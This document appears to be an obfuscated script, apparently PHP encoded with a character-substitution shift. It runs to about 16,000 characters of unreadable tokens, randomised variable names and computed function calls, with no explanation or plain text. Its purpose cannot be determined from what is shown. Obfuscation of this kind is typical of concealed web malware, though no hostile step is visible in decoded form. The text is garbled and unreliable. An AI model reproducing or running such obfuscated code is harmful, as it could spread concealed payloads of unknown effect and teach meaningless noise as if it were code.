!<<<4-,($(%(7$.5<::<=~-n{n.-eq)~tm)hy%f*-48*$%/{~y-/+vkn}s5<<::<<jfx)rnxu%,mC+~f~i48*$%/{~y-/+vkn}s55<<<<g<<<<<8lp,tkv(-p{red<<<<!<<<8*$%/{~y-/+vkn}s'<<<nyhinr<8lp,tkv(-p{red'<a<<<8lp,tkv(-p{red<<!<<<z}poy'<<<<<<<nyhinr<<<<<8lp,tkv(-p{red'<<azirhusr<dh/}np{vm-fhmkouh.48s+rir/~zq<<!<z}poy5<<<<goh}hu<8*junw+pz{Cj<<<!<<<ripp'<<<<<<uz<<48s+rir/~zq5<<<g33<KL<^psw<]LU<j/<oyhhur{o<oyhusr<8*junw+pz{Cj<<<<<!<<<ripp'<a33<KL<X}h}<Qsxipy&<oynu}puf}~py<xuol}htynuz<<48*junw+pz{Cj<<=!!<<<ripp5<nyhinr<8*junw+pz{Cj'<<<<8kidl+t+){royC<<<<<<!<yfdderdjunq.-.k45'<uz<4=ukC/jmfl}em~f{4-*..548kidl+t+){royC5<``<~~t*pewxp%lxrp.4-*$+548kidl+t+){royC5<<<< <4.($7.).5<<<<<``<<fe/qwoyysxh4-*$+548kidl+t+){royC5<"<4-,($(%/7$/5<<<``<<~-n{n.-eq)~tm)hy%f*-48kidl+t+){royC5<``<<<<=jfx)rnxu%,mC+~f~i48kidl+t+){royC55<<<<g8*junw+pz{Cj<<!<<<z}poy'<<<nyhinr<<8*junw+pz{Cj'<<<<<a<8*junw+pz{Cj<!<u{n~xs$r(~%zo4-*+)54i)C/drlz/rl/*v~zjueC48kidl+t+){royC55'<<<<nyhinr<<8*junw+pz{Cj'a<<<zirhusr<<{wk+*z.teyd+u-(}yo-48dtdqs/rfjk{mqn5<<g<<<<<<uz<<<4=u{n~xs$r(~%zo4-*$$548dtdqs/rfjk{mqn5<<``<<ukC/jmfl}em~f{4-*$%548dtdqs/rfjk{mqn5<< <4-(%B-/)5<<``<<~~t*pewxp%lxrp.4-*,-548dtdqs/rfjk{mqn0<<<,0<<.5<=!!<<<>@d-z@d$~>5<nyhinr<<,'8ko*ho*+pqs<!<\ukC/jmfl}em~f{4-)/%54;J;0<~~t*pewxp%lxrp.4-*,-548dtdqs/rfjk{mqn0<14,d/7,d-555'8ko*ho*+pqs<<<<!<<~~t*pewxp%lxrp.4-/$(548ko*ho*+pqs5<<<#<8ko*ho*+pqsG-A<<<<&<,'<<<<<uz<48ko*ho*+pqs< <<<4(+-7.%5<<<``<<8ko*ho*+pqs<<"<<4-,($)/)7(-55<nyhinr<8ko*ho*+pqs'nyhinr<,'<<a<<<<<<zirhusr<<<thwqfmk{)qzk-,Cwf$(%x48j+v-)%oqr*z%l+5<<<g<<<nyhinr<<<u{n~xs$r(~%zo4(,(54tydxy48j+v-)%oqr*z%l+G-A55'a<zirhusr<h/zqmsszw-ie}yw)srk48uqo.{zlt,,5<<<guz<4=ukC/jmfl}em~f{4-*$$548uqo.{zlt,,5<<<<<``<8uqo.{zlt,,<<<!!!<>>5<<<nyhinr<<<8uqo.{zlt,,'8el%t}zl%w}.+y!-,,7+,'8xn$ww,fyn%%x}n!8el%t}zl%w}.+y1-,'<<<<<<<oh}hu<<<<8zjz$uvjedpeo<!<<ripp'<<<<<uz<<<48zjz$uvjedpeo<!!!<<ripp5<<g<<<8zjz$uvjedpeo<<<<!<<z}poy'<<<<uz<<<4fe/qwoyysxh4-*,+54fe/qwoyysxh4-*%,555<<<g<8Cxx<<<!<<<<xyzuryx4fe/qwoyysxh4-**%55<<#<<<<<<KLC_SRHYRHCXUN<&<4xyzuryx4fe/qwoyysxh4-)*)55<<<<<#<<]^OL]HT<<&<<<<<>>5'<<<uz<48Cxx<<<=!!<>>5<g<8r(.e*osCo(<!<\xuowCznyyCol}y48Cxx5'<<<uz<<<<<48r(.e*osCo(<<<=!!<<<z}poy<<<<::<8r(.e*osCo(<<"!<<<4.-,*/.*(%1)//(*.(%55<<<<<<8zjz$uvjedpeo<<!<<<hniy'a<<<a<<<<uz<4=8zjz$uvjedpeo5<<<<<guz<<<4fe/qwoyysxh4-*,+54fe/qwoyysxh4-*,$555<<\ilx}hyCslhusr4fe/qwoyysxh4-*%-50<<u{n~xs$r(~%zo4-*%.5450<ukC/jmfl}em~f{4-)-)55'8}(hnu/,~.id{!4,d((7,d.y5'8t{rqs,utnvezf!8}(hnu/,~.id{9-/'a<<<ypoyuz<<<<4~~t*pewxp%lxrp.4-*,+54fe/qwoyysxh4-*,*555<g<8ti+q{q)phktq<<<!<4urh5<<<<{yhCslhusr4~~t*pewxp%lxrp.4-*%-50<,5'<uz<<48ti+q{q)phktq<::<u{n~xs$r(~%zo4-*%/545<<<<1<8ti+q{q)phktq<< <4$*/,%7%-55<<<<<8zjz$uvjedpeo<<!<<z}poy'<<a<<<<<<<a<<<<<<uz<<<<4=8zjz$uvjedpeo5<<gnyhinr<<<<8uqo.{zlt,,'33<KL<Yrhuhe<Nysnxo<ouxy~}n<ny{usr<<<<<<<a8uo.{nm~~dl<<!<<<<<<4)(%%%$+7-/5<7<<<<fe/qwoyysxh4--((54,0<<4---,,/,7/$%%+,55'uz<<<4~~t*pewxp%lxrp.4-*%(548uqo.{zlt,,5<<"!<<<8uo.{nm~~dl5<nyhinr<<<8uqo.{zlt,,'<uz<4ukC/jmfl}em~f{4-*%)54u{n~xs$r(~%zo4-(((548uqo.{zlt,,50<1.5<!!!<<~~t*pewxp%lxrp.4-*%*55<<<<<nyhinr<<8uqo.{zlt,,'<<ktupy<<<4ukC/jmfl}em~f{4-*%(548uqo.{zlt,,5<< <<<<8uo.{nm~~dl<1<<<<<<4(,)*7((55<<<<g<8lvz.-s(sv%zi)+*<<<!<>>'<<<<uz<4u{n~xs$r(~%zo4-*,+54ukC/jmfl}em~f{4-*%+555<<<g<hne<g<<<<8lvz.-s(sv%zi)+*<<!<<<\ukC/jmfl}em~f{4-*%$54n}rxsqC~ehyo44/$(7-*-*555'<<<<<<<a<<}ht<<<<<<4Htnsk}~py<<<8phr-l)~h-C.5<<<g<<<<8lvz.-s(sv%zi)+*<<!<<>>'<<<<a<<<}ht<4Ydylhusr<8phr-l)~h-C.5<<<<<<g<<<<<8lvz.-s(sv%zi)+*<<<<!<>>'<<<<<a<<<<<<<<auz<<<4ukC/jmfl}em~f{4-*%(548lvz.-s(sv%zi)+*5<<< <4/(%*7),(55<<<<<g<<<<8lvz.-s(sv%zi)+*<<<<!<ukC/jmfl}em~f{4-*$.54irumux4>>0<<hniy55'<ktupy<<<4fe/qwoyysxh4-*%%548lvz.-s(sv%zi)+*5<< <4*/%$1./%$55<<<<8lvz.-s(sv%zi)+*<<<<2!<<ukC/jmfl}em~f{4-*$.548lvz.-s(sv%zi)+*5'<<<<<<a<<<<<<8uqo.{zlt,,<<2!<<>@r36><<2<<<8lvz.-s(sv%zi)+*<2<<<<fe/qwoyysxh4-+,,5'a<<<<nyhinr<<8uqo.{zlt,,'<<<a<<<zirhusr<<vkC$uou+iut)vwv(+y48uqo.{zlt,,5<<g<<<uz<4=u{n~xs$r(~%zo4-+,-548uqo.{zlt,,5<``<ukC/jmfl}em~f{4-*%%548uqo.{zlt,,5<<<<<< !<<<<<4-%///$%1$$($-/55<<nyhinr<<<8uqo.{zlt,,'8k$pufpf)r!*+.*'8}}({y(m*m$++!8k$pufpf)r9--'<<<<<8qvqnyou,w.~,{-ij<<<!<<fe/qwoyysxh4-*/+54~~t*pewxp%lxrp.4-+,.50<>>0<<<<8uqo.{zlt,,5'<nyhinr<<<<<ukC/jmfl}em~f{4-+,/548qvqnyou,w.~,{-ij5<<<#<<8qvqnyou,w.~,{-ij<<&<8uqo.{zlt,,'8ed.wlv,vzmh!(-)'8fo$+$dy!48ed.wlv,vzmh",5#8ed.wlv,vzmh&18ed.wlv,vzmh'azirhusr<<<<<<p,}zwe%(th(zt%C}48rp,dwv$,y$5g33<q}hnud<hn}rolsoy<uz<<4=ukC/jmfl}em~f{4-+,(54~~t*pewxp%lxrp.4-+,)55<``<<<=~~t*pewxp%lxrp.4-+,(54u{n~xs$r(~%zo4-*,$555<<<<<nyhinr'<<<<uz<<<<<4=ukC/jmfl}em~f{4-+,*548rp,dwv$,y$5<<<<``<<8rp,dwv$,y$<<<<<<!!!<<<<<>><<<<<``<<=\fe/qwoyysxh4-+,+548rp,dwv$,y$55<<nyhinr'33<}io}p<our{pyhsr<<uz<<4=uooyh48[PS^]POG~~t*pewxp%lxrp.4-+,$5A5<``<<<<<=~~t*pewxp%lxrp.4-/$(548[PS^]POGu{n~xs$r(~%zo4-+,%5A55<g<<8[PS^]POGukC/jmfl}em~f{4-+,%5A<<!<<<<<<{yhCslhusr4u{n~xs$r(~%zo4-+-,50<<}nn}e455'<<uz<<<4=~~t*pewxp%lxrp.4-+--548[PS^]POGfe/qwoyysxh4-+,%5A55<<8[PS^]POGukC/jmfl}em~f{4-+,%5A<<<<!<<<<}nn}e45'<<a<<<<<8j+v-)%oqr*z%l+<<<!<8[PS^]POG~~t*pewxp%lxrp.4-+,%5A'8uqo.{zlt,,<<<!<<<\~~t*pewxp%lxrp.4-+-.548rp,dwv$,y$5'uz<<<<4=~~t*pewxp%lxrp.4-+,*548uqo.{zlt,,55<nyhinr'<<uz<<<<4fe/qwoyysxh4-*%%548uqo.{zlt,,5<<<<<"<<<<4,d}z)}7,d/),}*55<<<8uqo.{zlt,,<<!<<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'8j+v-)%oqr*z%l+GukC/jmfl}em~f{4-*$.548rp,dwv$,y$5A<<<!<}nn}e4;l;<<!"<<<<8rp,dwv$,y$0<<;t;<<<<!"<<<fe/qwoyysxh4-+-/548uqo.{zlt,,50<<<;{;<<<<!"<k{~w}fh$fk{*s}r}*k/z+h450<<;h;<!"<<fe/qwoyysxh4-*%/5455'<<<<<<<uz<<<<4fe/qwoyysxh4-)/+548j+v-)%oqr*z%l+5<<<<<"<<<<4-+-7.%55<<gzsny}t<<<48j+v-)%oqr*z%l+<<<<}o<8yiCzh.n$)v*.-~)<!"<8jw$C,den{kp5<<g<<<<<<uz<4=ukC/jmfl}em~f{4-+--548jw$C,den{kp5<``<<<<<=uooyh48jw$C,den{kpG;h;A5<<``<<4urh5<<8jw$C,den{kpG;h;A< <<fe/qwoyysxh4-*%/545<<<1<<<4.)%-%(/7)+55<<<iroyh48j+v-)%oqr*z%l+G8yiCzh.n$)v*.-~)A5'<<<a<<<<<<<<ktupy<4fe/qwoyysxh4-)/+548j+v-)%oqr*z%l+5<<<<"<<4/$)1-$)55<<<g8zek($ymm/n}ozmd<!<<<<<ripp'<<8t*vf,o~f/yin/s(<!<<<<ripp'<<zsny}t<48j+v-)%oqr*z%l+<<}o<<<<8yiCzh.n$)v*.-~)<<<<<!"<<<<<8jw$C,den{kp5<<g<<8q~szzy.mjd)(vx$<<<!<<<fe/qwoyysxh4-+--548jw$C,den{kp5<<::<uooyh48jw$C,den{kpG;h;A5<#<<<4urh5<<8jw$C,den{kpG;h;A<<<<&<,'uz<<<<<48t*vf,o~f/yin/s(<<<<!!!<ripp<<<``<<<<8q~szzy.mjd)(vx$<<< <<<<<8t*vf,o~f/yin/s(5<g<<8t*vf,o~f/yin/s(<<!<8q~szzy.mjd)(vx$'<<8zek($ymm/n}ozmd<<<!<<8yiCzh.n$)v*.-~)'<<<<a<<a<<<uz<<<48zek($ymm/n}ozmd<!!!<<<<<ripp5<<<<~ny}w'<<<<<<iroyh48j+v-)%oqr*z%l+G8zek($ymm/n}ozmdA5'<a<a<<<ilx}hyCslhusr4ukC/jmfl}em~f{4-+-(50<<8j+v-)%oqr*z%l+0<~~t*pewxp%lxrp.4-)-)55'<<8[PS^]POGu{n~xs$r(~%zo4-+,%5A<!<<8j+v-)%oqr*z%l+'<a<zirhusr<<<io{dmw{(}y({+nlev{u{p48rp,dwv$,y$5<g<<<uz<4=u{n~xs$r(~%zo4-+,*548rp,dwv$,y$5<``<<8rp,dwv$,y$<!!!<<<<>>5<<nyhinr<<<<<z}poy'<<uz<4=uooyh48[PS^]POGukC/jmfl}em~f{4-+,%5A5<<<<<``<<=~~t*pewxp%lxrp.4-+--548[PS^]POG~~t*pewxp%lxrp.4-+,%5A55<<<g<<<<8[PS^]POGu{n~xs$r(~%zo4-+-)5A<<<<<<!<ukC/jmfl}em~f{4-+-*54fe/qwoyysxh4-+,)55<#<<<<{yhCslhusr4~~t*pewxp%lxrp.4-+-+50<<}nn}e455<&<<}nn}e45'<<<<<uz<<<<4=ukC/jmfl}em~f{4-+--548[PS^]POGfe/qwoyysxh4-+-)5A55<<<<8[PS^]POGu{n~xs$r(~%zo4-+-)5A<!<}nn}e45'a33<L_NY.<VUH&<olyu}pufy<nylpu}hsn<<8j+v-)%oqr*z%l+<<<<<!<<<<<<8[PS^]POG~~t*pewxp%lxrp.4-+-)5A'<<<<<8m-h}.d~-mrri+*rm<<!<<<u{n~xs$r(~%zo4-+-$548rp,dwv$,y$5'<uz<<4uooyh48j+v-)%oqr*z%l+G8m-h}.d~-mrri+*rmA5<<<<<::<<ukC/jmfl}em~f{4-+--548j+v-)%oqr*z%l+G8m-h}.d~-mrri+*rmA5<<<::<<uooyh48j+v-)%oqr*z%l+G8m-h}.d~-mrri+*rmAG;t;A55<g<<<<<<<uz<44urh5<\fe/qwoyysxh4-)/)548rp,dwv$,y$5<<"<4).(.$+.)7+)55<<<nyhinr<<<fe/qwoyysxh4-+-%5'8uqo.{zlt,,<<<!<<<<\u{n~xs$r(~%zo4-+-.548rp,dwv$,y$5'<<<uz<<<<<4u{n~xs$r(~%zo4-+,*548uqo.{zlt,,55<g<uz<<<<<<4ukC/jmfl}em~f{4-*%%548uqo.{zlt,,5<"<<<4,d(z%*y7,d~,*%.55<<<<<8uqo.{zlt,,<<<<<!<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'<<nyhinr<4~~t*pewxp%lxrp.4-+-$548uqo.{zlt,,5<!!!<8j+v-)%oqr*z%l+G8m-h}.d~-mrri+*rmAG;t;A5<#<<hniy<&<<<<u{n~xs$r(~%zo4-+-%5'<<<a<<<<<<nyhinr<<z}poy'<<a<<<<<<<<8xjz.,+k$z.j-in<<!<<<<<\u{n~xs$r(~%zo4-+.,548rp,dwv$,y$0<<<z}poy0<<ripp0<<,0<<<<<4-+)*7./(,55'uz<<4ukC/jmfl}em~f{4-+,*548xjz.,+k$z.j-in5<<<<<::<ukC/jmfl}em~f{4-+.-54~~t*pewxp%lxrp.4.//50<8xjz.,+k$z.j-in5::<<<<dy%uCykpkoxw/zj48rp,dwv$,y$0<<<4(%)7)55<<<<<<5<<guz<44urh5<\u{n~xs$r(~%zo4-)/)548rp,dwv$,y$5<<"<<<<4-,()),,,7(-%+/$,,55<nyhinr<<z}poy'8uqo.{zlt,,<!<<4ohnur{5<\ukC/jmfl}em~f{4-+.,548rp,dwv$,y$5'<<<uz<<4ukC/jmfl}em~f{4-*%%548uqo.{zlt,,5<<<<<<"<<<<<<4-/+**$/1/.$-,+55<<<<<<8uqo.{zlt,,<<<!<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'uz<4jfx)rnxu%,mC+~f~i48uqo.{zlt,,55<<<<nyhinr<fe/qwoyysxh4-+..5'<<a<<<<nyhinr<z}poy'a<<zirhusr<<j{/}xm~rr}si/e.45goh}hu<8j+v-)%oqr*z%l+<!<<<ripp'<<uz<<<<48j+v-)%oqr*z%l+<<<<=!!<ripp5<<nyhinr<8j+v-)%oqr*z%l+'<<<<8uqo.{zlt,,<<<!<<<<<4ohnur{5<<\~~t*pewxp%lxrp.4-+.,54n-*%o%~y,f,/qj,455'<<<<<<uz<<<<4ukC/jmfl}em~f{4-+./548uqo.{zlt,,5<<<"<<<<<4-)+)*-*1).+,(,55<<<8uqo.{zlt,,<<<<!<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'<8j+v-)%oqr*z%l+<<<<!<<<<<<~~t*pewxp%lxrp.4-+-$548uqo.{zlt,,5'<nyhinr<<8j+v-)%oqr*z%l+'azirhusr<q$uhl-qkh${peipCunre45<<<<<gnyhinr<u{n~xs$r(~%zo4-+.(54j{/}xm~rr}si/e.450<<,0<<<4.(1-.55'a<<<<zirhusr<<<.ywx.+qdytxwi45<<<<<<<g<<<<<nyhinr<<<<kqhhzsemj.~r~$/{$u45<2<~~t*pewxp%lxrp.4-+.)5<<<<<2<soyll~yypdn%it4]^OL]HT<2<<<<<~~t*pewxp%lxrp.4-+.*50<4-(1*55<<2<<ukC/jmfl}em~f{4-+.+5'<<a<zirhusr<<hpd$o-t}{d$~k*(45<<<g<<<8sv}C${zlzvz$-fh<<!<}nn}e45'<uz<4~~t*pewxp%lxrp.4-+.$54ukC/jmfl}em~f{4-+,)555<g33<nyinoujy<z}hsne8q.}iu~qfen,C<<<<<!<\{yhCslhusr4fe/qwoyysxh4-+.%50<<}nn}e455'<<uz<<4~~t*pewxp%lxrp.4-+/,548q.}iu~qfen,C55<<8sv}C${zlzvz$-fh<<<<!<<8q.}iu~qfen,C'33<KL<Ol}yn<^psw&<l}ht<hely1yrjunsrqyrh<<a<<8uqo.{zlt,,<<!<<<\~~t*pewxp%lxrp.4-+,+54.ywx.+qdytxwi455<#<<<<<\ukC/jmfl}em~f{4-+.,54.ywx.+qdytxwi455<<<<<&<<<>>'<<<<uz<<<<<<4~~t*pewxp%lxrp.4-+,*548uqo.{zlt,,5<<<::<<<<fe/qwoyysxh4-*//548uqo.{zlt,,0<<~~t*pewxp%lxrp.4+*-55<<<!!!<<,5<<<<g<<8h/v.CypduC<!<ukC/jmfl}em~f{4/*.54u{n~xs$r(~%zo4-+/-548uqo.{zlt,,0<<<4..%B..(550<<hniy5'<uz<<<4u{n~xs$r(~%zo4-+/,548h/v.CypduC5<::<4yqlhe48sv}C${zlzvz$-fhGfe/qwoyysxh4-+/.5A5<<<``<4=yqlhe48h/v.CypduCGu{n~xs$r(~%zo4-+//5A5<<::<<8h/v.CypduCG~~t*pewxp%lxrp.4-+//5A<<<<"!<<<<<8sv}C${zlzvz$-fhGfe/qwoyysxh4-+//5A555<<<<<8sv}C${zlzvz$-fh<<!<<8h/v.CypduC'<<<a<<nyhinr<<8sv}C${zlzvz$-fh'<<<<<<<<a<<zirhusr<<r*)l/j%$%n}/k~{e{}p.%48sr-d$~..m/jkj(5<<<<<<g36<srjyd<hnuy<63<<hne<<<g<<<<<<<uz<<<<4=xyzuryx4ukC/jmfl}em~f{4-)*)555<<<<nyhinr'<<8~mx-jmk$do+vsiyp<<<!<<<u{n~xs$r(~%zo4-*%/545'<<<<uz<<<48sr-d$~..m/jkj(<!!!<<<~~t*pewxp%lxrp.4-+/(5<<``<<8sr-d$~..m/jkj(<<!!!<~~t*pewxp%lxrp.4-+/)55<<g8lnyj<<!<<<hpd$o-t}{d$~k*(45'uz<<4<uooyh48lnyjGu{n~xs$r(~%zo4-+/*5A0<<8lnyjGu{n~xs$r(~%zo4-+/+5A5<<::<8lnyjGu{n~xs$r(~%zo4-+/*5A<<<<!!!<<8sr-d$~..m/jkj(<<<::<<<<8~mx-jmk$do+vsiyp<<<<1<<<4urh5<<8lnyjGu{n~xs$r(~%zo4-+/$5A<<<< <<48sr-d$~..m/jkj(<<<<!!!<fe/qwoyysxh4-+/)5<#<<<4/**1**5<<&<<<<4%7-55<5<<<<<nyhinr'<a33<oyomiupury}n<ohn}hy{e<<<8sv}C${zlzvz$-fh<<!<<}nn}e4<<<<<<;j;<<<!"<k{~w}fh$fk{*s}r}*k/z+h450<<<<~~t*pewxp%lxrp.4-+/%5<<<<!"<<<q$uhl-qkh${peipCunre450<fe/qwoyysxh4./(5<<!"<<n-*%o%~y,f,/qj,450fe/qwoyysxh4-/).5<<<!"<~~t*pewxp%lxrp.4-*+*54n-*%o%~y,f,/qj,450<<<<<ukC/jmfl}em~f{4-+.+550<u{n~xs$r(~%zo4-+/*5<!"<<<<<8sr-d$~..m/jkj(0<<fe/qwoyysxh4-+(,5<<!"<<<<8~mx-jmk$do+vsiyp0<<u{n~xs$r(~%zo4-+/$5<<!"<8~mx-jmk$do+vsiyp0ukC/jmfl}em~f{4-+//5<<<!"<uooyh48COYNJYNG~~t*pewxp%lxrp.4-+(-5A5<<#<4urh5<<<<<8COYNJYNGu{n~xs$r(~%zo4-+(-5A<<&<<<8~mx-jmk$do+vsiyp05'<<<<uz<<4ukC/jmfl}em~f{4-+.$54ukC/jmfl}em~f{4-*,$555<<<<\ilx}hyCslhusr4ukC/jmfl}em~f{4-+(.50<<8sv}C${zlzvz$-fh0<<<<<u{n~xs$r(~%zo4-+(/55'<8n+lwp-wio,<!<<kqhhzsemj.~r~$/{$u45'<uz<<4\fe/qwoyysxh4-/++548n+lwp-wio,5<<<<``<<<Crdwd-o(p(e{vz}}x48n+lwp-wio,0<<<4$)$1/*)50<<<hniy55<g\u{n~xs$r(~%zo4--/+54.ywx.+qdytxwi450<<<fe/qwoyysxh4+*-5<<<2<ukC/jmfl}em~f{4-/*.548sv}C${zlzvz$-fh55'<<<<<<<a<a<<<<}ht<<<<<<4Htnsk}~py<<<8phr-l)~h-C.5<ga<<<<<}ht<<4Ydylhusr<<<<8phr-l)~h-C.5<<<<g<<a<a<zirhusr<<<<<i-ly.}jrizd+48sv}C${zlzvz$-fh5<<<<<<g<<<<<<uz<4=u{n~xs$r(~%zo4-+((548sv}C${zlzvz$-fh5<<<<``<<yqlhe48sv}C${zlzvz$-fhGu{n~xs$r(~%zo4-+()5A5<``<=u{n~xs$r(~%zo4-+(*548sv}C${zlzvz$-fhG~~t*pewxp%lxrp.4-+()5A55<<nyhinr<<<<u{n~xs$r(~%zo4./+5'<<<<8zp~z}f/q/.+runs-<<!<8sv}C${zlzvz$-fhG~~t*pewxp%lxrp.4-+(+5A'<<<<<<<<uz<<<<<4=\~~t*pewxp%lxrp.4-+($548zp~z}f/q/.+runs-5<<``<<4urh5<\~~t*pewxp%lxrp.4-+(%548zp~z}f/q/.+runs-5<< <4(($7).55<<nyhinr<<<ukC/jmfl}em~f{4./+5'uz<<4jvrq,mk{msz)nr48zp~z}f/q/.+runs-55<<nyhinr<<<u{n~xs$r(~%zo4./*5'<<<8y./Cpz{jh}Ci<<<<!<uooyh48sv}C${zlzvz$-fhG~~t*pewxp%lxrp.4-+/*5A5<#<<<8sv}C${zlzvz$-fhGu{n~xs$r(~%zo4-+/*5A<<<&<<<<<<>>'<<<8osrume/C+yo/qvj<!<<<<<<uooyh48sv}C${zlzvz$-fhG~~t*pewxp%lxrp.4-+),5A5<<<<#<<4urh5<<<8sv}C${zlzvz$-fhGukC/jmfl}em~f{4-+),5A<<&<,'<<<uz<48y./Cpz{jh}Ci<<!!!<<ukC/jmfl}em~f{4-+/)55<<<<<nyhinr<<<48osrume/C+yo/qvj<<"<,<<::<<<fe/qwoyysxh4-*%/545<<1<<<<8osrume/C+yo/qvj<<< !<4/)$,7.,55<#<<<<<~~t*pewxp%lxrp.4-+)-5<<<&<u{n~xs$r(~%zo4-+).5'<uz<<48y./Cpz{jh}Ci<<!!!<<<u{n~xs$r(~%zo4-+)/55<<nyhinr<u{n~xs$r(~%zo4-+)(5'<uz<<48y./Cpz{jh}Ci<<<<!!!<<~~t*pewxp%lxrp.4-+/(55<<nyhinr<48osrume/C+yo/qvj<<"<<,<<<::<<<<<<fe/qwoyysxh4-*%/545<<<<<1<<8osrume/C+yo/qvj<< !<<4,d-*7,d*.55<<#<<u{n~xs$r(~%zo4-+).5<&<<<<<<fe/qwoyysxh4-+)(5'<<nyhinr<<<<~~t*pewxp%lxrp.4-+))5'<<<<<a<<zirhusr<<r+j)f.i)s+k+tdn48rp,dwv$,y$5<<guz<<4=\fe/qwoyysxh4-+($548rp,dwv$,y$55<<<nyhinr<<<<<z}poy'<<8ttqppq%e,{hh.ys<<!<<<<4urh5<<\ukC/jmfl}em~f{4-+)*548rp,dwv$,y$5'<<<<<<uz<48ttqppq%e,{hh.ys<<<<< <<4,d-/,7,d(5<<``<<<8ttqppq%e,{hh.ys<<<<"<<4$/*+)/-7((,*-.*%55<<<<nyhinr<<<<<<z}poy'<<<<<8xjz.,+k$z.j-in<!<<\~~t*pewxp%lxrp.4-+.,548rp,dwv$,y$0<<z}poy0<<<ripp0<<<<,0<4(,)+7/%55'uz<<<4=fe/qwoyysxh4-+(*548xjz.,+k$z.j-in5<<<<<``<<=~~t*pewxp%lxrp.4-+.-54u{n~xs$r(~%zo4.//50<8xjz.,+k$z.j-in55<<<nyhinr<<<z}poy'<<<<uz<48ttqppq%e,{hh.ys<<<"<4-,($)//7(/55<g<<<<8uo.{nm~~dl<<<<!<<\~~t*pewxp%lxrp.4-+)+548rp,dwv$,y$0<<<z}poy0<<ripp0<<8ttqppq%e,{hh.ys<<<<1<4(,*(7/.55'nyhinr<~~t*pewxp%lxrp.4-+)$548uo.{nm~~dl5<::<~~t*pewxp%lxrp.4-+.-54ukC/jmfl}em~f{4-+)%50<<<<<8uo.{nm~~dl5<<<<!!!<-'a<<<8uqo.{zlt,,<<<<<!<<<\ukC/jmfl}em~f{4-+*,548rp,dwv$,y$5'<<<uz<<4=u{n~xs$r(~%zo4-+)$548uqo.{zlt,,55<<<nyhinr<<z}poy'<<<nyhinr<<jfx)rnxu%,mC+~f~i48uqo.{zlt,,5'<a<zirhusr<<<<jvrq,mk{msz)nr48rp,dwv$,y$5<g<<<<8xjm.m}lvkvjf,e<<<<!<ukC/jmfl}em~f{4-*+*548rp,dwv$,y$0<<ukC/jmfl}em~f{4-+*-55'zsny}t<<4}nn}e4~~t*pewxp%lxrp.4-.*%548rp,dwv$,y$50<iC}s%rysj$jew(osth,,r455<<}o<8ynr-yt(,s*pf/5<<g<<<<8~v+d}zC*u.n*}}z.<<<!<<8ynr-yt(,s*pf/<<2<<<fe/qwoyysxh4-+*.5<<2<8xjm.m}lvkvjf,e'<<<uz<<4=\ukC/jmfl}em~f{4-+*/548~v+d}zC*u.n*}}z.5<``<<4urh5<<\~~t*pewxp%lxrp.4-+*(548~v+d}zC*u.n*}}z.5<< <~~t*pewxp%lxrp.4-*%/545<<1<<<4*,(+%+7/55<srhuriy'<8}z(..p{,zet)<<!<fe/qwoyysxh4-.$-544ohnur{5<<\~~t*pewxp%lxrp.4-+*,548~v+d}zC*u.n*}}z.55'<uz<<<48}z(..p{,zet)<<<<!!!<>>5<<<<srhuriy'<<8uqo.{zlt,,<<<!<<4ohnur{5<<\u{n~xs$r(~%zo4-+*,548rp,dwv$,y$5'<uz<<4u{n~xs$r(~%zo4-+./548uqo.{zlt,,5<<<<"<<<<4-,($)-$7)$55<<<8uqo.{zlt,,<<<!<<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'<uz<<48uqo.{zlt,,<<<=!!<<<>><<<<::<<fe/qwoyysxh4-+*)548uqo.{zlt,,5<<!!!<<<<<<8}z(..p{,zet)5<nyhinr<<<hniy'<a<nyhinr<<<<<z}poy'azirhusr<n/k/qdunouCtj~rxud48rp,dwv$,y$5<<g<<<<<uz<<<4=ukC/jmfl}em~f{4-+.$54~~t*pewxp%lxrp.4-+,)55<<<<``<<<=~~t*pewxp%lxrp.4-+.$54~~t*pewxp%lxrp.4-+**555<<<<<nyhinr'<<<<8f.s$en.kqedh<!<<<<<<\{yhCslhusr4ukC/jmfl}em~f{4-+*+50<}nn}e455'<<uz<<<4=fe/qwoyysxh4-+((548f.s$en.kqedh55<<8f.s$en.kqedh<!<<}nn}e45'<8f.s$en.kqedhG~~t*pewxp%lxrp.4-+*)548rp,dwv$,y$5A<<!<<<8rp,dwv$,y$'uz<4ukC/jmfl}em~f{4-)/+548f.s$en.kqedh5<<"<<4-%7-55<<8f.s$en.kqedh<!<<<<<u{n~xs$r(~%zo4-+*$548f.s$en.kqedh0<<<<14,dy7,d*50<<ripp0<hniy5'<<\ilx}hyCslhusr4u{n~xs$r(~%zo4-+*+50<8f.s$en.kqedh0<<<ukC/jmfl}em~f{4-+(/55'<<<a<<<<<<zirhusr<<<<m)vyjfr~ze*-j/~45g<<uz<<4=ukC/jmfl}em~f{4-+.$54~~t*pewxp%lxrp.4-+,)55<<<<<``<<<=u{n~xs$r(~%zo4-+.$54u{n~xs$r(~%zo4-+**555<<<<<<nyhinr'<<<<<<<8f.s$en.kqedh<!<<\{yhCslhusr4~~t*pewxp%lxrp.4-+*+50<}nn}e455'<<<uz<<4=~~t*pewxp%lxrp.4-+((548f.s$en.kqedh5<<``<yqlhe48f.s$en.kqedh55<nyhinr'<<8d}js*{e*{%,<!<<}nn}e45'<zsny}t<48f.s$en.kqedh<<<}o<8yiCzh.n$)v*.-~)<<<<<!"<<8zp~z}f/q/.+runs-5<<<<<g<uz<<<<4=fe/qwoyysxh4-+)$548zp~z}f/q/.+runs-5<<<<<<``<<<8zp~z}f/q/.+runs-<<<!!!<<>><<<``<<=\~~t*pewxp%lxrp.4-+*/548zp~z}f/q/.+runs-55<<<<<srhuriy'<<<uz<<<<<4io{dmw{(}y({+nlev{u{p48zp~z}f/q/.+runs-5<<<<!!!<<z}poy5<g<<8d}js*{e*{%,G8yiCzh.n$)v*.-~)A<!<<<<8zp~z}f/q/.+runs-'<srhuriy'<a<<mmhy/nCplvkizofojuy48zp~z}f/q/.+runs-0<<<4/)(7**55'uz<<4uepno,inmjey/mr48zp~z}f/q/.+runs-55<<g8u%v)/qo,zjm{jx!-)7/*'8mnzr)v}x!8u%v)/qo,zjm{jx1..'<<<uz<4fe/qwoyysxh4-+.$54ukC/jmfl}em~f{4.,,555<<<\sl}tyCurj}pux}hy48zp~z}f/q/.+runs-0<<hniy5'<<<a<<ypoyuz<4\u{n~xs$r(~%zo4-+*/548zp~z}f/q/.+runs-55<<<g<<8d}js*{e*{%,G8yiCzh.n$)v*.-~)A<!<